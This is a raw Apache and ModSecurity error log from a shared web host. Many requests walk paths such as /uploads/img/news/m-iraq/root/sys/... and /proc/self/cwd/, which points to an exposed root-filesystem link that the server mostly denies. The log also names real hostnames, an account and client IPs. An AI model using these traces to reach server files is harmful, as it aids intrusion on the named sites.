[Fri Jul 17 08:18:24.185520 2026] [core:error] [pid 1993675:tid 1993675] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/ai-bolit/aibolit-resident-launcher.sh
[Fri Jul 17 08:18:24.227919 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:39454] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:24.539251 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/var/run/systemd/journal/streams/9:77135674
[Fri Jul 17 08:18:24.780125 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/var/run/systemd/journal/streams/9:76677266
[Fri Jul 17 08:18:24.817044 2026] [core:error] [pid 1993675:tid 1993675] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/var/run/systemd/journal/streams/9:77135587
[Fri Jul 17 08:18:24.877499 2026] [security2:error] [pid 2002425:tid 2002425] [client 216.244.66.247:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.tfab.lk"] [uri "/resour/1368665609.pdf"] [unique_id "almX-KUJv0yl2bIgVrkLngAAABU"]
[Fri Jul 17 08:18:24.878011 2026] [security2:error] [pid 2002425:tid 2002425] [client 216.244.66.247:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.tfab.lk"] [uri "/resour/1368665609.pdf"] [unique_id "almX-KUJv0yl2bIgVrkLngAAABU"]
[Fri Jul 17 08:18:24.878466 2026] [security2:error] [pid 2002425:tid 2002425] [client 216.244.66.247:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.tfab.lk"] [uri "/resour/1368665609.pdf"] [unique_id "almX-KUJv0yl2bIgVrkLngAAABU"]
[Fri Jul 17 08:18:25.768588 2026] [ssl:error] [pid 1994446:tid 1994446] (70014)End of file found: [client 66.85.158.91:39534] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:25.822790 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:25.919029 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty2/subsystem/ttyS2/device/driver/uevent
[Fri Jul 17 08:18:26.004792 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:26.096696 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:26.195605 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:26.378261 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:26.470368 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:26.560988 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:26.615440 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:39572] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:26.652284 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:26.704070 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:39602] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:26.784158 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:26.809324 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:26.809445 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:26.809492 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:26.809521 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:26.809549 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:26.809591 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:26.825054 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:26.825154 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:26.836768 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:26.929433 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:27.208274 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:27.302950 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:27.394892 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/116:3/subsystem/card0/device/driver/uevent
[Fri Jul 17 08:18:27.579452 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:27.851197 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty35/subsystem/ttyS2/uartclk
[Fri Jul 17 08:18:27.942334 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty34/subsystem/ttyS2/uartclk
[Fri Jul 17 08:18:28.031145 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:28.397382 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/fs/cgroup/memory/lve1016/memory.pressure_level
[Fri Jul 17 08:18:28.497120 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:28.531413 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:39702] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:28.579416 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:29.374458 2026] [security2:error] [pid 1993574:tid 1993574] [client 74.7.242.46:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-global": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php/ta/public/index.php/sn/hospitalBased"] [unique_id "almX_d0t9Kb_MdNxrg69PAAAAAM"], referer: https://www.nccp.health.gov.lk/nccp/public/index.php/sn/hospitalBased
[Fri Jul 17 08:18:29.374501 2026] [security2:error] [pid 1993574:tid 1993574] [client 74.7.242.46:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-ip": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php/ta/public/index.php/sn/hospitalBased"] [unique_id "almX_d0t9Kb_MdNxrg69PAAAAAM"], referer: https://www.nccp.health.gov.lk/nccp/public/index.php/sn/hospitalBased
[Fri Jul 17 08:18:29.916280 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:39798] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:30.622058 2026] [security2:error] [pid 1993584:tid 1993584] [client 57.141.18.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory109/subsystem/devices/memory116/node0/memory114/subsystem/devices/memory75/node0/cpu5/node0/memory60/"] [unique_id "almX_lxP5-SsqbGuGB2jbQAAAAA"]
[Fri Jul 17 08:18:30.622120 2026] [security2:error] [pid 1993584:tid 1993584] [client 57.141.18.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory109/subsystem/devices/memory116/node0/memory114/subsystem/devices/memory75/node0/cpu5/node0/memory60/"] [unique_id "almX_lxP5-SsqbGuGB2jbQAAAAA"]
[Fri Jul 17 08:18:31.318674 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:31.354908 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:31.389428 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:31.415753 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:31.559990 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:31.990701 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:32.281137 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:32.444101 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup9/subsystem/wakeup11/device/device:07/eject
[Fri Jul 17 08:18:32.669500 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:32.710671 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:32.835024 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:33.146933 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:43724] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:33.210885 2026] [core:error] [pid 1993570:tid 1993570] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup1/subsystem/wakeup11/device/device:07/eject
[Fri Jul 17 08:18:33.230510 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:33.233788 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:33.245331 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty6/subsystem/tty13/power/control"] [unique_id "almYAYl9vhFBGA6D8l90sAAAAAw"]
[Fri Jul 17 08:18:33.245378 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty6/subsystem/tty13/power/control"] [unique_id "almYAYl9vhFBGA6D8l90sAAAAAw"]
[Fri Jul 17 08:18:33.247099 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/firmware/dmi/entries/4-0/handle
[Fri Jul 17 08:18:33.404402 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:33.735436 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:33.748034 2026] [core:error] [pid 1993570:tid 1993570] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:02/subsystem/drivers/button/unbind
[Fri Jul 17 08:18:33.779245 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:33.779714 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:33.793992 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:33.820162 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:33.824853 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:33.836348 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:34.180876 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:34.406373 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:34.461302 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:34.501192 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:34.504412 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:34.523810 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:35.223208 2026] [core:error] [pid 1993675:tid 1993675] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:19/subsystem/drivers/button/unbind
[Fri Jul 17 08:18:35.317783 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:35.395344 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:35.552129 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:35.761498 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:36.128944 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:36.211882 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:36.448666 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:36.614568 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:36.615088 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:36.988882 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:36.994941 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:37.062502 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:37.073018 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:37.073608 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:37.387694 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:37.391125 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:37.392240 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:37.445904 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:37.469663 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:37.538782 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:37.540005 2026] [security2:error] [pid 1993998:tid 1993998] [client 47.82.51.164:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:50/subsystem/tty4/subsystem/tty63/"] [unique_id "almYBWidQp3SsqeycPErKwAAAAo"]
[Fri Jul 17 08:18:37.540033 2026] [security2:error] [pid 1993998:tid 1993998] [client 47.82.51.164:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:50/subsystem/tty4/subsystem/tty63/"] [unique_id "almYBWidQp3SsqeycPErKwAAAAo"]
[Fri Jul 17 08:18:37.687592 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:37.716949 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:37.739079 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:37.797323 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:37.798399 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:37.816278 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:37.956980 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:37.975697 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:37.978909 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty52/subsystem/ttyS1/close_delay
[Fri Jul 17 08:18:38.110862 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:38.246452 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:38.249576 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:38.373443 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:38.411562 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:38.521633 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:38.522334 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/LNXPWRBN:00/input/input0/device/wakeup/"] [unique_id "almYBo1dLClkUfK_dfHfzgAAAAI"]
[Fri Jul 17 08:18:38.522372 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/LNXPWRBN:00/input/input0/device/wakeup/"] [unique_id "almYBo1dLClkUfK_dfHfzgAAAAI"]
[Fri Jul 17 08:18:38.705294 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/hid/drivers/ntrig/module/uevent
[Fri Jul 17 08:18:38.814815 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:38.817594 2026] [ssl:error] [pid 1994967:tid 1994967] (70014)End of file found: [client 66.85.158.91:44180] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:39.295454 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:39.434573 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:39.525274 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:39.619596 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:39.670017 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:39.673656 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:39.898882 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:40.028677 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:40.089611 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:40.093146 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:40.198050 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty10/subsystem/ttyS1/device/driver/unbind
[Fri Jul 17 08:18:40.233656 2026] [core:error] [pid 2002425:tid 2002425] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:08/subsystem/drivers/button/unbind
[Fri Jul 17 08:18:40.357381 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty52/subsystem/ttyS1/flags
[Fri Jul 17 08:18:40.450733 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:40.470451 2026] [ssl:error] [pid 1999089:tid 1999089] (70014)End of file found: [client 66.85.158.91:44310] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:40.538683 2026] [autoindex:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/backup/
[Fri Jul 17 08:18:40.630131 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:40.721313 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:40.898970 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/ACPI0010:00/LNXCPU:00/subsystem/uevent
[Fri Jul 17 08:18:40.901273 2026] [core:error] [pid 2002425:tid 2002425] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/ACPI0010:00/LNXCPU:03/subsystem/uevent
[Fri Jul 17 08:18:41.084209 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:44350] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:41.129050 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:41.181532 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:41.546261 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:41.546454 2026] [core:crit] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/boot/grub2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/boot/grub2/' is executable
[Fri Jul 17 08:18:41.918039 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:42.101768 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:42.299603 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:42.380710 2026] [core:error] [pid 1993584:tid 1993584] (13)Permission denied: [client 47.128.47.96:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:16/subsystem/ttyS3/uartclk
[Fri Jul 17 08:18:43.026162 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/dev/fd/8
[Fri Jul 17 08:18:43.208696 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:43.388673 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:43.480728 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:43.574084 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:43.848107 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/dev/fd/5
